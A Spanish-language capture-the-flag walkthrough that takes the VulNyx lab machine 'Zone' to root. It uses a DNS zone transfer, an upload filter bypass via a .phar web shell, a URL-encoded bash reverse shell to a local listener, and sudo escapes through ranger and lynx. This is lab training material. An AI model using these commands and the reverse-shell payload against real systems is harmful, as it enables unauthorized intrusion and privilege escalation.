VulNyx - Zone

logo

  • Domain Zone Transfer (AXFR)
  • Insecure File Upload
  • Abuse Ranger Binary
  • Abuse Lynx Binary - Privesc

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.113

PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,53,80 192.168.1.113

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 f7:ea:48:1a:a3:46:0b:bd:ac:47:73:e8:78:25:af:42 (RSA)
|   256 2e:41:ca:86:1c:73:ca:de:ed:b8:74:af:d2:06:5c:68 (ECDSA)
|_  256 33:6e:a2:58:1c:5e:37:e1:98:8c:44:b1:1c:36:6d:75 (ED25519)
53/tcp open  domain  (unknown banner: not currently available)
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|     bind
|_    currently available
| dns-nsid: 
|_  bind.version: not currently available
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Debian Default Page: It works
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.94%I=7%D=10/5%Time=651EF3DA%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,52,"\0P\0\x06\x85\0\0\x01\0\x01\0\x01\0\0\x07version\x
SF:04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x18\x17not\x20curren
SF:tly\x20available\xc0\x0c\0\x02\0\x03\0\0\0\0\0\x02\xc0\x0c");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Escaneo con script http-enum.

❯ nmap --script http-enum -p 80 192.168.1.113

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|_  /robots.txt: Robots file

Archivo robots.txt.

❯ curl -s 192.168.1.113/robots.txt
User-agent: *
Allow: /

Sitemap: http://securezone.nyx/sitemap.xml

Visito el enlace que contiene el archivo robots.txt.

securezonexml

Añado el dominio securezone.nyx a mi archivo hosts y visito de nuevo el dominio.

dominioNotFound

DNS - TCP/UDP 53

Uso dig para encontrar subdominios.

❯ dig axfr @192.168.1.113 securezone.nyx

; <<>> DiG 9.18.16-1-Debian <<>> axfr @192.168.1.113 securezone.nyx
; (1 server found)
;; global options: +cmd
securezone.nyx.		604800	IN	SOA	ns1.securezone.nyx. root.securezone.nyx. 2 604800 86400 2419200 604800
securezone.nyx.		604800	IN	NS	ns1.securezone.nyx.
admin.securezone.nyx.	604800	IN	A	127.0.0.1
ns1.securezone.nyx.	604800	IN	A	127.0.0.1
upl0ads.securezone.nyx.	604800	IN	A	127.0.0.1
www.securezone.nyx.	604800	IN	A	127.0.0.1
securezone.nyx.		604800	IN	SOA	ns1.securezone.nyx. root.securezone.nyx. 2 604800 86400 2419200 604800
;; Query time: 0 msec
;; SERVER: 192.168.1.113#53(192.168.1.113) (TCP)
;; WHEN: Thu Oct 05 19:48:51 CEST 2023
;; XFR size: 7 records (messages 1, bytes 248)

Creo un pequeño diccionario para comprobar que subdominios están activos.

securezone      
ns1
root
admin
upl0ads

Encuentro el subdominio upl0ads y lo añado a mi archivo hosts.

❯ wfuzz -t 200 -c --hw=933 -w domains -H "Host: FUZZ.securezone.nyx" http://securezone.nyx
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://securezone.nyx/
Total requests: 5

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                
=====================================================================

000000005:   200        26 L     51 W       525 Ch      "upl0ads" 

Visito el nuevo subdominio y encuentro una herramienta para subir archivos.

upl0ads

Si intento subir un archivo con extensión .php me contesta que la extensión no está permitida.

errorphp

Abro burpsuite e intercepto la petición.

burpsuite

Envio la petición al intruder para comprobar si puedo subir archivos con otra extensión similar.

payload

Creo esta lista de extensiones.

payloadsettings

.php2
.php3
.php4
.php5
.php6
.php7
.phps
.pht
.phtm
.phtml
.pgif
.shtml
.htaccess
.phar
.inc
.hphp
.ctp

Lanzo el ataque y observo que la extension phar es la única que tiene la longitud mas baja.

resultado

Con el comando mv cambio la extensión php a phar.

❯ mv shell.php shell.phar

Subo el archivo phar.

uploadphar

Y se sube correctamente.

uploadok

Realizo fuerza bruta de directorios y encuentro el directorio uploads.

❯ wfuzz -c -t 200 --hc=404 --hl=0 -w /usr/share/seclists/Discovery/Web-Content/big.txt  'http://upl0ads.securezone.nyx/FUZZ'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://upl0ads.securezone.nyx/FUZZ
Total requests: 20476

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                   
=====================================================================
                                                                                            
000018782:   301        9 L      28 W       334 Ch      "uploads"  

Lanzo curl para comprobar que tengo ejecución de comandos.

❯ curl 'http://upl0ads.securezone.nyx/uploads/shell.phar?c=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Me lanzo una shell.

❯ curl 'http://upl0ads.securezone.nyx/uploads/shell.phar?c=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.18%2F443%200%3E%261%22'

Obtengo la shell como usuario www-data.

❯ nc -lvp 443
listening on [any] 443 ...
connect to [192.168.1.18] from securezone.nyx [192.168.1.113] 53734
bash: cannot set terminal process group (470): Inappropriate ioctl for device
bash: no job control in this shell
www-data@zone:/var/www/site/uploads$

Enumero permisos de sudo.

www-data@zone:/var/www/site/uploads$ sudo -l
Matching Defaults entries for www-data on zone:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on zone:
    (hans) NOPASSWD: /usr/bin/ranger

Movimiento lateral

Lanzo el binario como usuario hans.

www-data@zone:/var/www/site/uploads$ sudo -u hans /usr/bin/ranger

Aparece esta ventana, pulso ! y escribo /bin/bash.

pivoting

Una vez pulso enter ya soy usuario hans.

www-data@zone:/var/www/site/uploads$ sudo -u hans /usr/bin/ranger
hans@zone:~$ id
uid=1000(hans) gid=1000(hans) groups=1000(hans)

Enumero de nuevo permisos de sudo.

hans@zone:~$ sudo -l
Matching Defaults entries for hans on zone:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User hans may run the following commands on zone:
    (root) NOPASSWD: /usr/bin/lynx

En la ayuda del binario lynx encuentro esta flag.

-term=TERM        set terminal type to TERM

Uso lynx con la flag -term con el valor xterm-256color.

hans@zone:~$ sudo /usr/bin/lynx -term=xterm-256color
Spawning your default shell.  Use 'exit' to return to Lynx.

Al lanzar el comando me muestra el about de lynx.

lynx

Pulso ! para generar una shell de comandos como root.

root@zone:/home/hans# id
uid=0(root) gid=0(root) groups=0(root)

Y con esto ya tenemos resuelta la máquina Zone.

Saludos!